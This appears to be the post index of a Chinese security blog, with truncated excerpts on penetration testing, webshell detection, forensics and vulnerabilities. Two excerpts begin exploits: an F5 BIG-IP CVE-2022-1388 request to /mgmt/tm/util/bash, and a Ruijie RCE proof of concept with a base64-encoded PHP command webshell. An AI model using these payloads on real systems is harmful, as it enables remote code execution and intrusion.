03月06日114 views评论com
https
对内网爆破的一些思考
前言众所周知，密码复用是内网大杀器之一，但在实际渗透过程中，对账号密码搜集是一个持续性的工作，所以拿这些账号密码去检测复用情况成为一个重复性的劳动，之前一直想写个工具解决这个问题，刚好这段时间有空就完...
02月12日169 views评论数据库
版本
5.bWAPP Broken Auth. & Session Mgmt
5.bWAPP Broken Auth. & Session Mgmt0x01、Broken Auth - CAPTCHA BypassingLow验证码绕过，本题验证码没有时间限制，所以提交...
01月25日22 views评论密码
验证码
Yakit 插件开发之实战nps
之前看到了一篇文章 hvv反制红队第一章之nps代理工具0day漏洞分析 ，感觉非常有意思，所以就想进行一个详细的分析，并进行利用。 漏洞分析 下载 nps 代码 **https://github.c...
11月11日72 viewsYakit 插件开发之实战nps已关闭评论key
md
不要让谣言驱动应急响应
这两天网传Nginx和Log4j2的漏洞搞得风声鹤唳，某些厂商捕风捉影真是张嘴就来，然后谣言驱动应急响应，整个一歇斯底里瞎折腾，我们觉得有必要说下自己的研判。信息名称Log4j2 远程代码执行漏洞报告...
08月02日安全新闻105 views评论apache
cve
CVE-2022-1388（F5 BIG-IP Remote Code Execution）
exp：# F5 BIG-IP RCE exploitation (CVE-2022-1388)POST (1): POST /mgmt/tm/util/bash HTTP/1.1Host: <...
07月31日安全漏洞74 views评论big
cve
渗透测试如何利用403页面
0x01 前言做渗透时经常会碰到扫到的资产403的情况，特别是资产微乎其微的情况下，面试有时也会问到，这里做个总结！0x02 利用姿势1.端口利用扫描主机端口，找其它开放web服务的端口，访问其端口，...
07月27日安全文章118 views评论http
url
Ruijie Networks RCE
echo "PD9waHAKJGNtZD0kX0dFVFsnY21kJ107CnN5c3RlbSgkY21kKTsKPz4K" | base64 -d POC: POST /guest_auth/gu...
07月22日125 views评论poc
rce
Webshell安全检测篇（4）-基于流量的Webshell分析样例
一 “大马”典型操作 经过前面多篇文章的全面介绍想必大家对如何检测Webshell都有了一定的认识，今天我们一起探讨一下如何从网络流量中去实际的检测和发现Webshell的。 我们知道“大马”的目的就...
07月18日139 views评论payload
攻击者
【技术原创】F5 BIG-IP漏洞调试环境搭建
0x00 前言本文记录从零开始搭建F5 BIG-IP漏洞调试环境的细节。0x01 简介本文将要介绍以下内容：F5 BIG-IP安装F5 BIG-IP漏洞调试环境配置常用知识0x02 F5 BIG-IP...
07月05日36 views评论big
rest
9 个实用的 Shell 拿来就用脚本实例
1、Dos 攻击防范（自动屏蔽攻击 IP）#!/bin/bashDATE=$(date +%d/%b/%Y:%H:%M)LOG_FILE=/usr/local/nginx/logs/demo...
06月29日35 views评论file
shell
宝塔面板取证
宝塔面板是什么？宝塔Linux面板是提升运维效率的服务器管理软件，支持一键LAMP/LNMP/集群/监控/网站/FTP/数据库/JAVA等100多项服务器管理功能。例如:创建管理网站，轻松简单完成各种...
06月21日787 views评论server
数据库